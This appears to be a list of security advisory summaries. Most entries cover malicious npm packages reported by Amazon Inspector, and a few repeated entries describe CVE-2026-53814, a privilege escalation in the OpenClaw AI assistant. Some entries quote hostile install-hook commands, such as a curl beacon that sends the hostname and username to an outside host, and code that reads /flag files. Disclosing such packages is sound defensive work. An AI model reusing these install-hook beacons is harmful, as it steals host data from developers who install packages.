Malicious code in npm-sandbox-research-g3h4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5e119a878730c42d27b9ec21adae1cbc6e044f1d6703c152010b5261647f1a3a On install, package.json's postinstall hook executes run.js. The package ships beacon15.js and beaconlinux.js, which import childprocess, os, and htt...

Malicious code in mailconfirmer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dfb184ffa15fd011b84658a6b5cd68582e78827258a8373f0da1ef34248bfb09 The package advertises itself as an email-confirmation utility, but index.js contains only no-op stubs that console.log demo messages. The real...

MAL-2026-5750 Malicious code in mailconfirmer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dfb184ffa15fd011b84658a6b5cd68582e78827258a8373f0da1ef34248bfb09 The package advertises itself as an email-confirmation utility, but index.js contains only no-op stubs that console.log demo messages. The real...

Malicious code in axl-ui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6fbc071f0ee6323c87fa6be049a9b151217f7146605ef89b4494f7ef07e7d534 [email protected] is a dependency-confusion squat targeting an internal package name. package.json declares a postinstall hook node beacon.js that fires...

Malicious code in easy-time666 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 57bc31746af3bff6006bfe2da34cd0fb223a4bd9e867abddd172be5018821c22 package.json declares a postinstall hook that runs curl http://npm.wdf1.eyes.sh/pre?h=$hostname&u=&whoami over plain HTTP on every npm install, leaki...

MAL-2026-5749 Malicious code in easy-time666 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 57bc31746af3bff6006bfe2da34cd0fb223a4bd9e867abddd172be5018821c22 package.json declares a postinstall hook that runs curl http://npm.wdf1.eyes.sh/pre?h=$hostname&u=&whoami over plain HTTP on every npm install, leaki...

Malicious code in node-multi-downloader (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8fc720cd970f4d19212ca90945b7fc1e4e1c64da98235ff595b3792ae69e3e68 On npm install, this package's postinstall hook node index.js hex-encodes the installer's current working directory, the first 15 entries of that...

MAL-2026-5735 Malicious code in node-multi-downloader (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8fc720cd970f4d19212ca90945b7fc1e4e1c64da98235ff595b3792ae69e3e68 On npm install, this package's postinstall hook node index.js hex-encodes the installer's current working directory, the first 15 entries of that...

MAL-2026-5726 Malicious code in ecto_module (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7e66c690abd94ee498cd359eb076451c0f6ea3956d8221616bbf8990d35a38c5 On npm install, the package's preinstall hook node index.js reads /flag.txt falling back to execSync'cat /flag' and transmits the captured contents i...

Malicious code in vite-config-optimizer (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f824c077d7d2705d17dc29eba9a24ea8b51b93785bcf83fdfe639fc8f9bc581f package.json declares a postinstall hook node -e "require'./loader.js'" that auto-executes on every npm install. loader.js spawns a detached child No...

Malicious code in ect-472839-ctf (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a67248cb7373817da18e0edf4a019e2e6c9ded239e93a2e477ac168f7f45eeaa package.json declares a preinstall hook "preinstall": "node index.js" that auto-executes on npm install. index.js issues an HTTP GET to the hardcoded...

MAL-2026-5718 Malicious code in ect-472839-ctf (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a67248cb7373817da18e0edf4a019e2e6c9ded239e93a2e477ac168f7f45eeaa package.json declares a preinstall hook "preinstall": "node index.js" that auto-executes on npm install. index.js issues an HTTP GET to the hardcoded...

Malicious code in ect-839201 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0ac6cc7433a67e0087dfa415071c9338be630c2166cd38ac371afadbdd0161e3 package.json declares a preinstall lifecycle hook that runs node -e "require'http'.get'http://10.107.121.85:8001/callback839201'" on npm install. Thi...

MAL-2026-5720 Malicious code in ect-839201 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0ac6cc7433a67e0087dfa415071c9338be630c2166cd38ac371afadbdd0161e3 package.json declares a preinstall lifecycle hook that runs node -e "require'http'.get'http://10.107.121.85:8001/callback839201'" on npm install. Thi...

MAL-2026-5703 Malicious code in eslint-plugin-mistica-local-rules (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c1d21f50741178986b63d1f330373131c2f3f502a5b94e76ca921ce185fab123 package.json declares a preinstall hook that runs index.js automatically on npm install. index.js collects host identity os.hostname, os.platform,...

Malicious code in eslint-plugin-mistica-local-rules (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c1d21f50741178986b63d1f330373131c2f3f502a5b94e76ca921ce185fab123 package.json declares a preinstall hook that runs index.js automatically on npm install. index.js collects host identity os.hostname, os.platform,...

CVE-2026-53814

OpenClaw before 2026.5.20 contains a privilege escalation vulnerability where hook-triggered agent runs incorrectly receive owner-scoped MCP loopback authority instead of hook-appropriate scope. Attackers with a valid hook token can exploit the /hooks/agent endpoint to cause spawned CLI runtimes ...

Incorrect Privilege Assignment

Overview openclaw is a 🦞 OpenClaw — Personal AI Assistant Affected versions of this package are vulnerable to Incorrect Privilege Assignment due to the incorrect assignment of owner-scoped MCP loopback authority to hook-triggered agent processes. An attacker can perform unauthorized privileged...

CVE-2026-53814 OpenClaw < 2026.5.20 - Privilege Escalation via Hook-Triggered CLI MCP Tool Authority

OpenClaw before 2026.5.20 contains a privilege escalation vulnerability where hook-triggered agent runs incorrectly receive owner-scoped MCP loopback authority instead of hook-appropriate scope. Attackers with a valid hook token can exploit the /hooks/agent endpoint to cause spawned CLI runtimes ...

CVE-2026-53814 OpenClaw < 2026.5.20 - Privilege Escalation via Hook-Triggered CLI MCP Tool Authority

OpenClaw before 2026.5.20 contains a privilege escalation vulnerability where hook-triggered agent runs incorrectly receive owner-scoped MCP loopback authority instead of hook-appropriate scope. Attackers with a valid hook token can exploit the /hooks/agent endpoint to cause spawned CLI runtimes ...